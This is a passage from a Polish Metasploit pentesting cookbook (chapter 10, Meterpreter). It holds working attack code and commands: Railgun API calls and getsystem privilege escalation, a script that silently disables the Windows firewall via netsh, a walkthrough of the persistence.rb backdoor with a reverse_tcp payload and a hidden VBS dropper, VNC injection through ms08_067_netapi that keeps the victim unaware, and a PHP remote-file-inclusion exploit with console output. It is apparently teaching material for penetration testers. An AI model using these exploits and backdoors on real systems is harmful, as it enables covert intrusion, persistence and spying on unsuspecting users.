Jak widać, funkcja zwraca wartość false (fałsz), która wskazuje, że dany użytkownik nie jest administratorem. Poszerzmy nasze uprawnienia i spróbujmy ponownie: meterpreter > getsystem ...got system (via technique 4).
259
Metasploit. Receptury pentestera
meterpreter > irb [*] Starting IRB shell [*] The 'client' variable holds the meterpreter client >> client.railgun.shell32.IsUserAnAdmin => {"GetLastError"=>0, "return"=>true}
Tym razem funkcja zwróciła wartość true (prawda), co wskazuje, że procedura poszerzania uprawnień powiodła się i działamy teraz jako administrator systemu. Dodatek Railgun oferuje nam elastyczność wykonywania zadań, których nie można realizować za pomocą dostępnych modułów. Nie jesteśmy więc ograniczeni jedynie do skryptów i modułów, które oferuje nam framework Metasploit. Możemy teraz w dowolnym momencie wykonywać wywołania. Poprzednio zastosowane wywołanie można rozszerzyć do postaci niewielkiego skryptu Ruby z funkcją sprawdzania błędów: print_status "Running the IsUserAnAdmin function" status = client.railgun.shell32.IsUserAnAdmin() if status['return'] == true then print_status 'You are an administrator' else print_error 'You are not an administrator' end
Korzystanie z dodatku Railgun może być pouczającym i ekscytującym doświadczeniem. Możesz przećwiczyć własne wywołania i skrypty, aby przeanalizować wyniki ich działania. Co jednak, jeśli biblioteka DLL lub funkcja, które chcesz wywołać, nie są częścią definicji dodatku Railgun? W takim przypadku Railgun oferuje nam możliwość elastycznego dodawania własnych funkcji i bibliotek DLL. Zajmiemy się tym w kolejnej recepturze.
Jak to działa Railgun jest szczególnym interpreterem poleceń języka Ruby, który może być wykorzystany do wykonywania zdalnych wywołań funkcji bibliotek DLL na przejętym systemie. Zdalne wywołania DLL są istotnym procesem w trakcie przeprowadzania testów penetracyjnych, ponieważ dają nam możliwość wykonywania na przejętej maszynie dowolnych instrukcji systemowych z pełnymi uprawnieniami.
Zobacz również Railgun jest ciekawym narzędziem, które może rozszerzyć proces przeprowadzania testów penetracyjnych. Poszukajmy dodatkowych informacji na temat dodatku Railgun.
260
Rozdział 10. • Korzystanie z Meterpretera
Definicje i dokumentacja narzędzia Railgun Railgun aktualnie obsługuje 10 różnych bibliotek DLL wywołań Windows API. Możesz znaleźć ich definicje w folderze /opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/railgun/def. Z kolei ścieżka do pliku z dokumentacją narzędzia Railgun jest następująca: /opt/metasploit/msf3/ external/source/meterpreter/source/extensions/stdapi/server/railgun/railgun_manual.pdf.
Dodawanie bibliotek DLL oraz definicji funkcji do narzędzia Railgun W poprzedniej recepturze skoncentrowaliśmy się na wywoływaniu bibliotek DLL Windows API za pomocą dodatku Railgun. W tej recepturze zajmiemy się dodawaniem do narzędzia Railgun własnych bibliotek DLL i definicji funkcji. W tym celu musimy zrozumieć działanie bibliotek DLL systemu Windows. Podręcznik użytkownika narzędzia Railgun może być pomocny w kwestii znalezienia informacji o różnych stałych systemu Windows, które mogą być wykorzystane podczas dodawania definicji funkcji.
Jak to wykonać Dodawanie nowej definicji DLL do narzędzia Railgun jest prostym zadaniem. Załóżmy, że chcesz dodać bibliotekę DLL, która jest dostarczana z systemem Windows, ale nie jest obecna w Twojej wersji narzędzia Railgun. W tym celu musisz utworzyć definicję DLL w folderze opt/metasploit/msf3/lib/rex/post/meterpreter/extensions/stdapi/railgun/def i nazwać ją def_nazwa_ biblioteki_dll.rb. 1. Posłużmy się przykładem dodania do narzędzia Railgun definicji biblioteki shell32.dll. Zacznijmy od dodania następujących wierszy kodu: module module module module
Rex Post Meterpreter module Extensions module Stdapi Railgun module Def
class Def_shell32 def self.create_dll(dll_path = 'shell32') dll = DLL.new(dll_path, ApiConstants.manager) ...... end end end; end; end; end; end; end; end
261
Metasploit. Receptury pentestera
2. Zapisanie tego kodu jako pliku def_shell32.dll spowoduje utworzenie dla narzędzia Railgun definicji biblioteki shell32.dll. 3. Kolejnym krokiem jest dodanie funkcji do tej definicji DLL. Jeśli przyjrzysz się skryptowi def_shell32.dll dostępnemu we frameworku Metasploit, zobaczysz, że została już do niego dodana funkcja IsUserAnAdmin: dll.add_function('IsUserAnAdmin', 'BOOL', [])
Ta funkcja zwraca po prostu wartość logiczną true lub false, w zależności od stanu faktycznego. W podobny sposób możemy dodać nowe definicje funkcji w pliku def_shell32.dll. Przyjrzyj się przykładowi dodania funkcji OleFlushClipboard(). Powoduje ona wyczyszczenie wszystkich danych dostępnych w schowku systemowym systemu Windows: 4. W pliku def_shell32.dll musimy dodać następujący wiersz kodu: dll.add_function('OleFlushClipboard' , 'BOOL' , [])
Jak to działa Aby przetestować funkcję, zapisz plik i wróć do sesji Meterpretera, aby sprawdzić, czy funkcja jest wykonywana z powodzeniem: >> client.railgun.shell32.OleFlushClipboard => {"GetLastError"=>0, "return"=>true}
Alternatywnie możesz również dodawać biblioteki DLL i funkcje bezpośrednio do narzędzia Railgun, stosując wywołania add_dll i add_function. Poniżej zamieszczono kompletny skrypt, który sprawdza dostępność biblioteki shell32.dll oraz funkcji OleFlushClipboard. Jeśli nie są obecne, zostają dodane za pomocą wywołań add_dll i add_function: if client.railgun.get_dll('shell32') == nil print_status "Adding Shell32.dll" client.railgun.add_dll('shell32','C:\\WINDOWS\\system32\\shell32.dll') else print_status "Shell32 already loaded.. skipping" end if client.railgun.shell32.functions['OleFlushClipboard'] == nil print_status "Adding the Flush Clipboard function" client.railgun.add_function('shell32', 'OleFlushClipboard', 'BOOL', []) else print_status "OleFlushClipboard already loaded.. skipping" end
To była krótka demonstracja zastosowania dodatku Railgun jako wszechstronnego narzędzia do wywołań Windows API w zależności od naszych potrzeb. Różnych użytecznych wywołań Windows API możesz szukać w bibliotece MSDN i możesz je potem dodawać do narzędzia
262
Rozdział 10. • Korzystanie z Meterpretera
Railgun, aby rozszerzyć funkcjonalność frameworku. Mogą one być wykorzystywane do wywoływania dowolnej funkcji biblioteki DLL, która jest obecna na maszynie docelowej. W kolejnej recepturze zajmiemy się tworzeniem własnego skryptu Meterpretera.
Budowanie skryptu Meterpretera „Dezaktywator firewalla systemu Windows” Do tej pory korzystaliśmy z kilku skryptów Meterpretera, takich jak killav.rb oraz persistence.rb. Omówmy teraz tworzenie własnego skryptu Meterpretera. Znajomość języka programowania Ruby jest niezbędna do napisania jakiegokolwiek modułu dla frameworku Metasploit. Powinieneś mieć podstawową wiedzę na temat tego języka. Nie jest dostępna wystarczająca ilość dokumentacji pozwalająca bezpośrednio nauczyć się pisania skryptów Meterpretera. Najprostszym i najlepszym rozwiązaniem jest nauczenie się języka Ruby i równocześnie analizowanie kodów różnych dostępnych modułów. Można także przeczytać podręcznik programisty frameworku Metasploit, aby zrozumieć działanie różnych bibliotek dostarczonych przez ten framework. Mogą one być wykorzystane podczas pisania własnych modułów. Dokumentacja znajduje się na stronie http://dev.metasploit.com/redmine/projects/framework/wiki/DeveloperGuide. Skrypt, który utworzymy, służy do dezaktywacji firewalla systemów Windows Vista oraz Windows 7. Jego działanie polega na wykorzystaniu polecenia systemu Windows o nazwie netsh, które zostanie wykonane przez Meterpreter na maszynie docelowej za pomocą domieszki o nazwie cmd_exec().
Przygotuj się Skrypty Meterpretera uruchamiane są w kontekście eksploatowanego klienta, więc łatwiej możesz skupić się na zadaniu, które chcesz wykonać za pomocą skryptu. Nie musisz się martwić ustanowieniem połączenia lub innymi parametrami. Podczas pisania skryptów Meterpretera należy pamiętać o kilku istotnych wskazówkach: Unikanie zmiennych globalnych. Jest to ogólna zasada przy pisaniu kodów w każdym frameworku. Stosowania zmiennych globalnych należy unikać, ponieważ mogą one nakładać się ze zmiennymi samego frameworku. Używaj tylko instancji, wartości stałych oraz zmiennych lokalnych. Stosowanie komentarzy. Komentarze są niezbędne podczas pisania kodu. Pomagają śledzić, które części kodu są odpowiedzialne za konkretne działania. Dodawanie parametrów. Mogłeś zauważyć w kilku recepturach, w jaki sposób wprowadzaliśmy parametry wraz ze skryptem. Najbardziej elementarnym, a przy tym pomocnym jest parametr -h lub help. Wyświetlanie wyników. Wyświetlanie wyników operacji wskazuje, czy wykonanie skryptu było pomyślne, czy zakończyło się niepowodzeniem. Należy powszechnie stosować wywołania funkcji print, takie jak np. print_status lub print_error, w celu wyświetlania istotnych informacji. 263
Metasploit. Receptury pentestera
Weryfikacja wersji systemu operacyjnego. Upewnij się, że znasz wersję systemu
operacyjnego, na którym chcesz wykonać dany skrypt. Zachowanie konwencji pliku. Po zakończeniu pisania skryptu zapisz go w katalogu /opt/metasploit/msf3/scripts/meterpreter. Zachowanie konwencji danego frameworku pozwala unikać potencjalnych konfliktów. Stosowanie domieszek. Domieszki są ważną koncepcją Meterpretera. Korzystanie z nich może sprawić, że nasz skrypt będzie wyglądał prościej i przystępniej. Powinniśmy pamiętać o wymienionych wskazówkach podczas pisania skryptów Meterpretera.
Jak to wykonać Otwórzmy dowolny edytor tekstowy, aby rozpocząć pisanie skryptu w języku Ruby. Jeżeli korzystasz z systemu BackTrack, możesz użyć edytora tekstowego gedit. Wpisz poniższy fragment kodu w edytorze tekstowym. Przed przejściem do sekcji wyjaśnień przyjrzyj się uważnie skryptowi i spróbuj zorientować się, co oznacza każdy wiersz. Skrypt jest łatwy do zrozumienia: # Dezaktywator firewalla systemu Windows # Parsowanie opcji oraz parametrów opts = Rex::Parser::Arguments.new( "-h" => [ false, "Menu pomocy." ] ) opts.parse(args) { |opt, idx, val| case opt when "-h" print_line "Skrypt Meterpretera wyłączający domyślny firewall systemu Windows" print_line "Miejmy nadzieję, że to zadziała" print_line(opts.usage) raise Rex::Script::Completed end } # Weryfikacja systemu operacyjnego i wykonanie polecenia unsupported if client.platform !~ /win32|win64/i begin print_status("wyłączanie domyślnego firewalla") cmd_exec('cmd /c','netsh advfirewall set AllProfiles state off',5) end
Po wprowadzeniu kodu zapisz go pod nazwą moj_skrypt.rb w katalogu /opt/metasploit/msf3/ scripts/meterpreter. 264
Rozdział 10. • Korzystanie z Meterpretera
Aby uruchomić ten skrypt, będziemy potrzebowali uruchomionej sesji Meterpretera. Skrypty Ruby mogą być wykonywane za pomocą polecenia run. Jednak przed użyciem skryptu upewnij się, że masz uprawnienia systemowe na maszynie docelowej: meterpreter > ...got system meterpreter > [*] disabling meterpreter >
getsystem (via technique 4). run moj_skrypt.rb the default firewall
Bingo! Pomyślne wykonanie skryptu wyłączy niezauważalnie domyślny firewall. Wykonanie polecenia występuje w tle, więc użytkownik docelowy pozostaje nieświadomy. Przyjrzyjmy się temu skryptowi szczegółowo.
Jak to działa Przeanalizujmy każdy segment skryptu: opts = Rex::Parser::Arguments.new( "-h" => [ false, "Menu pomocy." ] ) opts.parse(args) { |opt, idx, val| case opt when "-h" print_line "Skrypt Meterpretera wyłączający domyślny firewall systemu Windows" print_line "Miejmy nadzieję, że to zadziała" print_line(opts.usage) raise Rex::Script::Completed end }
Powyższe wiersze kodu są jedynie elementami opcjonalnymi, które możemy wprowadzić do skryptu. W tym skrypcie jedynym dostępnym parametrem jest -h, który wyświetla informacje o zastosowaniu skryptu. Można zapisać ten fragment kodu jako szablon do tworzenia opcji w skryptach. Napotkasz szereg fragmentów kodów, które będą mogły być bezpośrednio zastosowane w Twoim własnym skrypcie. Skrypt zaczyna się od stworzenia funkcji skrótu (opts), która zawiera bibliotekę Rex, czyli skróconą wersję biblioteki Ruby Extensions Library. Jedynym parametrem jest -h. Wartość użycia jest ustawiona na false, co oznacza, że jest to parametr opcjonalny dla skryptu. Następnych kilka wierszy kodu sprawdza dostarczone opcje i przechodzi do konkretnego przypadku, aby wyświetlić komunikat za pomocą wywołania print_line(). W tym przypadku użyliśmy tylko jednej opcji (-h).
265
Metasploit. Receptury pentestera
unsupported if client.platform !~ /win32|win64/i begin print_status("wyłączanie domyślnego firewalla") cmd_exec('cmd /c','netsh advfirewall set AllProfiles state off',5) end
Powyższa część skryptu dotyczy konkretnego działania. Zaczyna się od sprawdzenia systemu operacyjnego klienta. Następnie używana jest domieszka Meterpretera cmd_exec(), która może wykonywać polecenia jako ukryte i podzielone na kanały. Poleceniem do wykonania jest netsh advfirewall set AllProfiles state off. Domieszka wywołuje to polecenie na maszynie klienta w kontekście wiersza poleceń, a jego pomyślne wykonanie wyłącza firewalla systemu Windows. Możesz pobawić się skryptem, dodając więcej funkcji i próbując różnych możliwości. Im więcej eksperymentujesz, tym więcej się uczysz. To była krótka demonstracja dotycząca budowania skryptu Meterpretera. W następnej recepturze przyjrzymy się zaawansowanemu skryptowi Meterpretera i przeanalizujemy go szczegółowo.
Zobacz również Rozszerzmy dyskusję o ponowne wykorzystanie kodów w celu szybszego i skutecznego przeprowadzania testów penetracyjnych.
Ponowne wykorzystanie kodu Ponowne wykorzystanie kodu może być skuteczną techniką w budowaniu własnych skryptów. Można znaleźć kilka gotowych funkcji, takich jak tworzenie procedur obsługi (multi/handler), konfigurowanie kontroli parametrów czy dodawanie ładunków. Można ich używać bezpośrednio w kodzie i wykorzystać ich funkcjonalność. Pamiętaj, że najlepszym sposobem, aby nauczyć się pisania skryptów Meterpretera, jest analiza skryptów wbudowanych.
Analizowanie wbudowanego skryptu Meterpretera Teraz, gdy dowiedzieliśmy się, jak zbudować własny skrypt, przejdźmy do analizy wbudowanego skryptu, który wykonuje pewne zaawansowane zadania. Gdy już będziesz w stanie całkowicie zrozumieć wbudowane skrypty, możesz według potrzeb próbować wdrożyć zawarte w nich funkcje. Ponowne wykorzystanie kodu jest skuteczną techniką zwiększania optymalizacji kodów.
266
Rozdział 10. • Korzystanie z Meterpretera
Jak to wykonać Aby wyświetlić istniejący skrypt, przejdź do katalogu opt/metasploit/msf3/scripts/meterpreter. W tym folderze można znaleźć wszystkie dostępne skrypty Meterpretera. Przeanalizujemy skrypt persistence.rb, który pomaga w konfigurowaniu backdoora na maszynie użytkownika docelowego. Omówiliśmy wykorzystanie tego skryptu w poprzedniej recepturze. W tej recepturze sprawdzimy, w jaki sposób ten skrypt funkcjonuje.
Jak to działa Przeanalizujmy każdy fragment kodu, jeden po drugim. Kod rozpoczyna się od zadeklarowania zmiennych, które są używane w skrypcie. Można zauważyć niektóre z typowych zmiennych, takich jak rhost, rport czy payload_type, które były wykorzystywane przez nas w całym procesie eksploatacji: # Default parameters for payload rhost = Rex::Socket.source_address("1.2.3.4") rport = 4444 delay = 5 install = false autoconn = false serv = false altexe = nil target_dir = nil payload_type = "windows/meterpreter/reverse_tcp" script = nil script_on_target = nil
Kolejna część skryptu składa się z różnych parametrów (flag), które należy wprowadzać wraz ze skryptem. Parametry mające wartość true są obowiązkowymi flagami, których wartości muszą być wprowadzane przez pentestera. Parametry z wartością false są opcjonalne: @exec_opts = Rex::Parser::Arguments.new( "-h" => [ false, "This help menu"], "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], "-p" => [ true, "The port on the remote host where Metasploit is listening"], "-i" => [ true, "The interval in seconds between each connection attempt"], "-X" => [ false, "Automatically start the agent when the system boots"], "-U" => [ false, "Automatically start the agent when the User logs on"], "-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"], "-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"], "-L" => [ true, "Location in target host where to write payload to, if none \%TEMP\% will be used."],
267
Metasploit. Receptury pentestera
"-T" => [ true, "Alternate executable template to use"], "-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."] ) meter_type = client.platform
Następna część skryptu dotyczy deklaracji funkcji. Pierwsze dwie funkcje są zasadniczo dostępne w każdym ze skryptów Meterpretera. Funkcja usage służy do wyświetlania komunikatu wprowadzającego do skryptu. Zawiera krótki opis zastosowania skryptu. Funkcja wrong_meter_version() jest używana do sprawdzenia, czy wersja Meterpretera jest obsługiwana przez skrypt, czy nie. Niektóre skrypty nie obsługują starszych wersji Meterpretera, więc walidacja może być pomocna: # Usage Message Function #------------------------------------------------------------------------------def usage print_line "Meterpreter Script for creating a persistent backdoor on a target host." print_line(@exec_opts.usage) raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------def wrong_meter_version(meter = meter_type) print_error("#{meter} version of Meterpreter is not supported with this Script!") raise Rex::Script::Completed end
Następna funkcja dotyczy tworzenia ładunku. Możesz korzystać z tej funkcji bezpośrednio w skrypcie, jeżeli chcesz stworzyć ładunek (możliwość ponownego użycia kodu). Funkcja create_payload function() przyjmuje dwie wartości: payload_type oraz lport. Jeśli pamiętasz sekcje dotyczące deklaracji zmiennych, zauważysz, że te dwie zmienne zostały zainicjowane z pewnymi domyślnymi wartościami. Wywołanie pay = client.framework.payloads.create(payload) pozwala utworzyć ładunek z frameworku Metasploit. W tym fragmencie należy zwrócić uwagę na wartości pay.datastore['LHOST'] = lhost oraz pay.datastore['LPORT'] = lport. Parametr datastore jest po prostu skrótem wartości, które mogą być wykorzystywane przez moduły lub sam framework w celu odwołania się do wartości kontrolowanych przez programistę lub użytkownika: # Function for Creating the Payload #------------------------------------------------------------------------------def create_payload(payload_type,lhost,lport) print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}") payload = payload_type pay = client.framework.payloads.create(payload) pay.datastore['LHOST'] = lhost
268
Rozdział 10. • Korzystanie z Meterpretera
pay.datastore['LPORT'] = lport return pay.generate end
Następna funkcja służy do tworzenia skryptów połączeń trwałych. Są one tworzone w zależności od ładunku i innych wartości parametrów przekazywanych wraz ze skryptem: # Function for Creating persistent script #------------------------------------------------------------------------------def create_script(delay,altexe,raw) if altexe vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay, :template => altexe}) else vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay}) end print_status("Persistent agent script is #{vbs.length} bytes long") return vbs end
Kolejna funkcja jest przeznaczona do tworzenia katalogu dziennika skryptu. Wywołanie host = @client.sys.config.sysinfo["Computer"] wydobywa informacje o przejętym systemie docelowym. Katalog i nazwa pliku są tworzone przy użyciu biblioteki Rex :: FileUtils, która jest odpowiedzialna za wykonywanie operacji na plikach i katalogach: # Function for creating log folder and returning log path #------------------------------------------------------------------------------def log_file(log_path = nil) #Get hostname host = @client.sys.config.sysinfo["Computer"] # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for the logs if log_path logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) else logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) end # Create the log directory ::FileUtils.mkdir_p(logs) #logfile name
269
Metasploit. Receptury pentestera
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" return logfile end
Ta funkcja uruchamia zapis plików na dysku. Zapisuje pliki różnych backdoorów w folderach i katalogach utworzonych za pomocą poprzedniej funkcji. Wywołanie Rex::Text.rand_text_ alpha((rand(8)+6)) + ".vbs" generuje losowy tekst dla nazwy pliku, który ma być utworzony w katalogu temp. Wywołanie fd.write() zapisuje pliki na dysku: # Function for writing script to target host #------------------------------------------------------------------------------def write_script_to_target(target_dir,vbs) if target_dir tempdir = target_dir else tempdir = @client.fs.file.expand_path("%TEMP%") end tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" fd = @client.fs.file.new(tempvbs, "wb") fd.write(vbs) fd.close print_good("Persistent Script written to #{tempvbs}") file_local_write(@clean_up_rc, "rm #{tempvbs}\n") return tempvbs end
Poniższa funkcja tworzy procedurę obsługi (multi/handler) połączeń zwrotnych nawiązywanych z systemem atakującego. Jest to ponownie funkcja ogólna, która może być używana w skrypcie, jeżeli chcesz łączyć się automatycznie poprzez skonfigurowanie procedury obsługi: # Function for setting multi handler for autocon #------------------------------------------------------------------------------def set_handler(selected_payload,rhost,rport) print_status("Starting connection handler at port #{rport} for #{selected_payload}") mul = client.framework.exploits.create("multi/handler") mul.datastore['WORKSPACE'] = @client.workspace mul.datastore['PAYLOAD'] = selected_payload mul.datastore['LHOST'] = rhost mul.datastore['LPORT'] = rport mul.datastore['EXITFUNC'] = 'process' mul.datastore['ExitOnSession'] = false mul.exploit_simple( 'Payload' => mul.datastore['PAYLOAD'], 'RunAsJob' => true ) print_good("Multi/Handler started!") end
270
Rozdział 10. • Korzystanie z Meterpretera
Kolejna funkcja jest odpowiedzialna za wykonanie skryptu na maszynie docelowej. Skrypt trwałego połączenia (ang. persistence script) tworzy na maszynie docelowej skrypty .vbs, które muszą być wykonane, aby ustanowić połączenie. Służy temu funkcja Targets_exec(). Może ona być użyta jako funkcja ogólna w Twoim własnym skrypcie, jeżeli chcesz wykonywać skrypty na maszynie docelowej. Wywołanie funkcji session.sys.process.execute() jest odpowiedzialne za wykonanie skryptu, a parametr proc.pid zwraca identyfikator PID dla utworzonego procesu backdoora: # Function to execute script on target and return the PID of the process #------------------------------------------------------------------------------def targets_exec(script_on_target) print_status("Executing script #{script_on_target}") proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true}) print_good("Agent executed with PID #{proc.pid}") file_local_write(@clean_up_rc, "kill #{proc.pid}\n") return proc.pid end
Pozostała część kodu jest oczywista. W miejscu wywoływania funkcji jest tworzony czysty skrypt oraz implementowany jest wybór opcji. Mamy nadzieję, że ta receptura wyjaśniła Ci, co dzieje się w tle podczas wykonywania skryptu Meterpretera. Z punktu widzenia pentestera bardzo istotne jest, aby móc czytać i modyfikować kody według scenariusza pracy. W tym tkwi piękno frameworku open source. Możesz dokonać modyfikacji w zależności od własnych potrzeb oraz uczyć się, bezpośrednio analizując dostępne kody źródłowe.
Zdalne wstrzykiwanie serwera VNC VNC (ang. Virtual Network Computing) jest graficznym systemem udostępniania pulpitu, który używa protokołu RFB (ang. Remote Frame Buffer) do zdalnego kontrolowania innego komputera. Możemy wstrzyknąć serwer VNC zdalnie przy użyciu ładunku Metasploit do wstrzyknięć VNC. W tej recepturze dowiemy się, jak należy wstrzykiwać serwer VNC zdalnie.
Przygotuj się Aplikacja VNCViewer musi być zainstalowana na systemie hosta, aby zobaczyć sesję VNC wygenerowaną przez system docelowy. Narzędzie xtightvncviewer można pobrać ze strony http://www.tightvnc.com/download.php.
271
Metasploit. Receptury pentestera
Jak to wykonać Aby przeprowadzić zdalne wstrzyknięcie serwera VNC, wykonaj następujące czynności: 1. Skonfiguruj najpierw parametr VNCHOST, który domyślnie ma wartość 127.0.0.1. Zmienimy go na adres IP interfejsu hosta, na którym ma zostać uruchomiona sesja VNC. Jest to adres 192.168.129.128. 2. Załaduj exploit windows/smb/ms08_067_netapi, a następnie wykonaj go przy użyciu ładunku windows/vncinject/reverse_tcp: msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set payload windows/vncinject/reverse_tcp payload => windows/vncinject/reverse_tcp msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting ------------------------RHOST RPORT 445 SMBPIPE BROWSER
Required ----------yes yes yes
Payload options (windows/vncinject/reverse_tcp): Name Current Setting Required ---------------------------------AUTOVNC true yes EXITFUNC thread thread, process,
yes
LHOST LPORT VNCHOST
4444 127.0.0.1
yes yes yes
VNCPORT
5900
yes
Description -------------The target address Set the SMB service port The pipe name to use (BROWSER, SRVSVC) Description -------------Automatically launch VNC viewer if present Exit technique: seh, none The listen address The listen port The local host to use for the VNC proxy The local port to use for the VNC proxy
Exploit target: Id Name -- ---0 Automatic Targeting msf exploit(ms08_067_netapi) > set VNCHOST 192.168.129.128 VNCHOST => 192.168.129.128 msf exploit(ms08_067_netapi) > set LHOST 192.168.129.128
272
Rozdział 10. • Korzystanie z Meterpretera
LHOST => 192.168.129.128 msf exploit(ms08_067_netapi) > set RHOST 192.168.129.131 RHOST => 192.168.129.131 msf exploit(ms08_067_netapi) > set DisableCourtesyShell TRUE DisableCourtesyShell => TRUE msf exploit(ms08_067_netapi) > show options Module options: Name Current Setting ------------------------RHOST 192.168.129.131 RPORT 445 SMBPIPE BROWSER Payload options Name -------AUTOVNC
Required ----------yes yes yes
(windows/vncinject/reverse_tcp): Current Setting Required ---------------------------true yes
EXITFUNC
thread
yes
LHOST LPORT VNCHOST
192.168.129.128 4444 192.168.129.128
yes yes yes
VNCPORT
5900
yes
Description -------------The target address Set the SMB service port The pipe name to use (BROWSER, SRVSVC) Description -------------Automatically launch VNC viewer if present Exit technique: seh, thread, process, none The listen address The listen port The local host to use for the VNC proxy The local port to use for the VNC proxy
Exploit target: Id Name -- ---0 Automatic Targeting msf exploit(ms08_067_netapi) > exploit [*] Started reverse handler on 192.168.129.128:4444 [*] Automatically detecting the target... [*] Fingerprint: Windows XP Service Pack 3 - lang:English [*] Selected Target: Windows XP SP3 English (NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (445440 bytes) to 192.168.129.131 [*] VNC Server session 1 opened (192.168.129.128:4444 -> 192.168.129.131:1145) at 2013-09-30 17:52:21 +0530 [*] Starting local TCP relay on 192.168.129.128:5900... [*] Local TCP relay started. [*] Launched vncviewer.
273
Metasploit. Receptury pentestera
[*] Session 1 created in the background. msf exploit(ms08_067_netapi) > Connected to RFB server, using protocol version 3.8 Enabling TightVNC protocol extensions No authentication needed Authentication successful Desktop name "Monika" VNC server default format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Using default colormap which is TrueColor. Pixel format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Using shared memory PutImage Same machine: preferring raw encoding CleanupSignalHandler called ShmCleanup called [*] VNC connection closed. [*] VNC Server session 1 closed. msf exploit(ms08_067_netapi) >
Jak to działa Korzystając ze wspomnianego exploita i ładunku, możemy wyświetlić ekran urządzenia docelowego. Użytkownicy systemu docelowego nie są świadomi faktu, że ich ekran został udostępniony. Wobec tego musimy wyłączyć powłokę gościnną frameworku Metasploit (ang. Metasploit courtesy shell), która pojawia się na ekranie systemu docelowego. Jeżeli powłoka gościnna nie zostanie wyłączona, wtedy podczas procesu eksploatacji wyświetlone zostanie niebieskie okno wiersza poleceń, które może zaalarmować użytkownika o naszych zamiarach.
Eksploatowanie podatnej na ataki aplikacji PHP W tej recepturze przeprowadzimy za pomocą frameworku Metasploit eksploatację aplikacji PHP. W tym celu wykorzystamy lukę o nazwie RFI (ang. Remote File Inclusion), która pozwala atakującemu wymusić uruchomienie wybranego kodu PHP poprzez zdalną stronę WWW.
274
Rozdział 10. • Korzystanie z Meterpretera
Przygotuj się Musimy poznać dokładną ścieżkę do podatnej na ataki strony, a następnie załadować framework Metasploit (wpisując polecenie msfconsole): msf>
Jak to wykonać Aby przeprowadzić eksploatację, wykonaj następujące czynności: 1. Załaduj exploit exploit/unix/webapp/php_include: msf > use exploit/unix/webapp/php_include msf exploit(php_include) > show options Module options: Name Current Setting -----------------PATH /
Required -------yes
PHPRFIDB
no
/opt/metasploit3/msf3/data/ exploits/php/rfilocations.dat
PHPURI
no
Proxies RHOST RPORT SRVHOST
80 0.0.0.0
no yes yes yes
SRVPORT
8080
yes
URIPATH
no
VHOST
no
Description ----------The base directory to prepend to the URL to try A local file containing a list of URLs to try, with XXpathXX replacing the URL The URI to request, with the include parameter changed to XXpathXX Use a proxy chain The target address The target port The local host to listen on. The local port to listen on. The URI to use for this exploit (default is random) HTTP server virtual host
Exploit target: Id Name -- ---0 Automatic Wprowadź adres URL do naszej powłoki PHP, wpisując tekst XXpathXX:
275
Metasploit. Receptury pentestera
msf exploit(php_include) > set PHPURI /rfi_me.php?path=XXpathXX PHPURI => /rfi_me.php?path=XXpathXX msf exploit(php_include) > set RHOST 192.168.129.128 RHOST => 192.168.129.128
2. Na koniec użyjemy ładunku PHP Meterpretera: msf exploit(php_include) > set PAYLOAD php/meterpreter/bind_tcp PAYLOAD => php/meterpreter/bind_tcp msf exploit(php_include) > exploit [*] Started bind handler [*] Using URL: http://0.0.0.0:8080/ehgqo4 [*] Local IP: http://192.168.1.101:8080/ehgqo4 [*] PHP include server started. [*] Sending stage (29382 bytes) to 192.168.1.150 [*] Meterpreter session 1 opened (192.168.1.101:56931 -> 192.168.129.128:4444) at 2013-09-21 14:35:51 -0600 meterpreter >
Atak Incognito z wykorzystaniem Meterpretera Atak Incognito pozwala podszyć się pod tokeny użytkowników, gdy system został w pełni przejęty. Ten atak został najpierw dodany do frameworku Metasploit, a następnie do Meterpretera. W tej recepturze omówimy bardzo interesujący scenariusz ataku Incognito. Tokeny są bardzo podobne do plików ciasteczek stron WWW. Są podobne do kluczy tymczasowych, które pozwalają nam wejść do systemu i sieci bez konieczności podawania za każdym razem danych uwierzytelniania. Atak Incognito eksploatuje system poprzez odtworzenie klucza tymczasowego, kiedy system prosi o uwierzytelnienie. Istnieją dwa rodzaje tokenów: tokeny delegowania (ang. delegate) i personifikacji (ang. impersonate). Tokeny delegowania przeznaczone są dla logowań interaktywnych, natomiast tokeny personifikacji są przeznaczone dla sesji nieinteraktywnych.
Przygotuj się Załadujmy exploit ms08_067_netapi i zastosujmy ładunek Meterpretera: msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 129.168.129.130 RHOST => 129.168.129.130 msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
276
Rozdział 10. • Korzystanie z Meterpretera
